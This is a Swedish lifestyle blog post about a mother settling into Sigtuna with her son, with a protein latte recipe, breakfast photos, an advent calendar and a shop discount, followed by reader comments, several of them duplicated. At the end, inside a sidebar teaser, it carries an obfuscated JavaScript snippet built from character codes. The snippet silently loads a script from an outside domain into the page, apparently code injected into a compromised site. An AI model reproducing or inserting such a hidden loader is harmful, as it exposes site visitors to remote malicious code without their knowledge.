NYTTIG protein lattè! Star Wars frukost och adventskalender!

291015-MyMartens-HermanCaroan-115533

 

Godmorgon!

Lilleman och jag bestämde oss sent för att stanna kvar idag också. Jag tyckte att det kändes lite konstigt att ta med honom tillbaka till en tom lägenhet i Kalmar. Så han får bo i sig lite till här i vårar nya hem. Idag ska vi in till stan en sväng. Några ärenden att fixa! Sen ska vi fortsätta att utforska Sigtuna, så att han känner sig hemma här =) Gränderna, affärerna, strandpromenaden, lekplatserna. -You name it!

Lilleman är en riktig sju sovare om han får bestämma själv! Han vaknade 09:45 dag! -haha!

Jag hade då redan haft två tele möten, förberett frukost, packat upp två flyttkartonger, rastat hunden,  OCH kört ett utomhus pass på nästan en timme idag igen!

-Jag har träningsvärk from hell! 

291015-MyMartens-HermanCaroan-115420

 

Vi myser maximalt just nu. Lååååånga lyx frukostar,  sovmorgon, mamma/son kvalitetstid. ja, vovven också såklart! 

Lilleman köpte en Star Wars yoggi igår. Det var det sista han sa innan han somnade igår,

-Mamma, glöm inte att vi ska äta Star Wars frukost!  IMG_0217IMG_0216

Jag som just nu kämpar med mina ”trivsel kilon” (blääää) dricker INTE en vanlig lattè. En traditionell lattè består utav 50% mjölk.

Såhär gör du min variant på Protein lattè:

Jag har ca 15% mandelmjölj  (OBS! osötad!!! )  Värm mjölken i micron/spisen, skumma den med an vanlig liten mjökskummare, i med en nypa vanilj proteinpulver, plus ekologiskt kaffe och en nypa kanel på toppen.

-Färdig att servera!

Kanel ÄR bra för ämnesomsättningen. Proteinpulvret är bra efter träning. Detta är ett gott NYTTIGT alternativ till vanlig lattè. Dock en om dagen  😉 

IMG_0219 IMG_0220

Finncrisp och ägg är en klassik frukost i min vardag. 

IMG_0218IMG_0221

Vädret är lika fint idag. Tezz börjar också känna sig hemma <3IMG_0166IMG_0214

Ett utav ärendena jag ska göra i stan är att fixa små paket till Lillemans jul kalender. Jag vet hur mycket det betydde för mig när jag var liten, nu vill jag att Lilleman ska få känna lika dant. Jag vet inte riktigt hur jul/nyår kommer att se ut. Behöver prata ihop mig med Lillemans pappa. MEN vi ska ha en julgran i vårar nya hem och jag ska fira att jag strax innan jul kommer att flytta ut det sista ifrån gamla lägenheten och sedan försöka landa på ”riktigt” här uppe =)

 Jag har precis klickat hem en advenskalender som jag tänker att han ska få växa upp med, du kan också hitta den HÄR 

140613_0094_2

Visst är den snygg?! JAG älskar den 😉

Det vet jag att Lilleman också kommer att göra när den är fylld med små spännande paket… 

Den blir fin här hemma bland alla mina beiga saker och vårar svarta kök 😉

Nu ska det bara jagas klappar…. Då jag kommer hem ifrån Thailand den 1/12 så MÅSTE den vara klar 😉 

FullSizeRender 47

Visste du att idag är det chokladens dag?

det visste inte jag heller förrän min goa medarbetare smsade det!

(Evelina kooom tillbaka från mammaledigheten, VI saknar dig! )

 Kanelbullens dag, alla hjärtans dag… Försäljnings knep maximalt! -hehe!

Men vi på My’s Blommor är inte sämre, vi erbjuder alla kunder 15% på alla våra choklad och fudge praliner och present förpackningar =)

Vi hör sen! Kramar

/My Martens

 

 

16 Komentarer

  1. Goddag vackra. Måste ju säga att du är grymt duktig på att köra igång och köra järnet. Heja dig, din träning kommer att gå kanonbra.
    Kan inte sluta säga att ditt hår är kanonfint!
    Ha en fin dag och jaaa en sån latte måste jag testa!

  2. Goddag vackra. Måste ju säga att du är grymt duktig på att köra igång och köra järnet. Heja dig, din träning kommer att gå kanonbra.

    Kan inte sluta säga att ditt hår är kanonfint!

    Ha en fin dag och jaaa en sån latte måste jag testa!

  3. Beundrar att du orkar med allt <3 Hur gör du med hunden när du reser så mkt fram och tillbaka och sen när du ska börja flyga med Ludvig? Ser supermysigt ut där i Sigtuna. Härligt att du kan träna innan Ludvig vaknar på mornarna, kanon ju (Y) (Vem tar bilderna?) Hi hi… Lycka till med allt och kör försiktigt!

    • Hunden är med mig =) hon följer med… Ska jag utomlands så har hon världens bästa ”reserv husse” och är med honom och tjejerna i butiken… Tack snälla! <3 Kram

  4. Grattis och stort lycka till med nya livet ?
    Ni är så söta både du och lilleman. Man riktigt känner hur spännande och härligt nytt allt är för er nu.
    Njut av allt <3
    /Bea

  5. Beundrar att du orkar med allt <3 Hur gör du med hunden när du reser så mkt fram och tillbaka och sen när du ska börja flyga med Ludvig? Ser supermysigt ut där i Sigtuna. Härligt att du kan träna innan Ludvig vaknar på mornarna, kanon ju (Y) (Vem tar bilderna?) Hi hi… Lycka till med allt och kör försiktigt!

    • Hunden är med mig =) hon följer med… Ska jag utomlands så har hon världens bästa ”reserv husse” och är med honom och tjejerna i butiken… Tack snälla! <3 Kram

  6. Grattis och stort lycka till med nya livet 🙂
    Ni är så söta både du och lilleman. Man riktigt känner hur spännande och härligt nytt allt är för er nu.
    Njut av allt <3
    /Bea

  7. God morgon My.
    Underbara bilder. Undrar hur gammal Tess är?
    Mina 2 är 11 och 13 börjar få ångest över att det kanske är slut snart.
    Men hoppas givetvis på några år till.
    Ha de fint.
    Kramen

  8. God morgon My.
    Underbara bilder. Undrar hur gammal Tess är?
    Mina 2 är 11 och 13 börjar få ångest över att det kanske är slut snart.
    Men hoppas givetvis på några år till.
    Ha de fint.
    Kramen

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/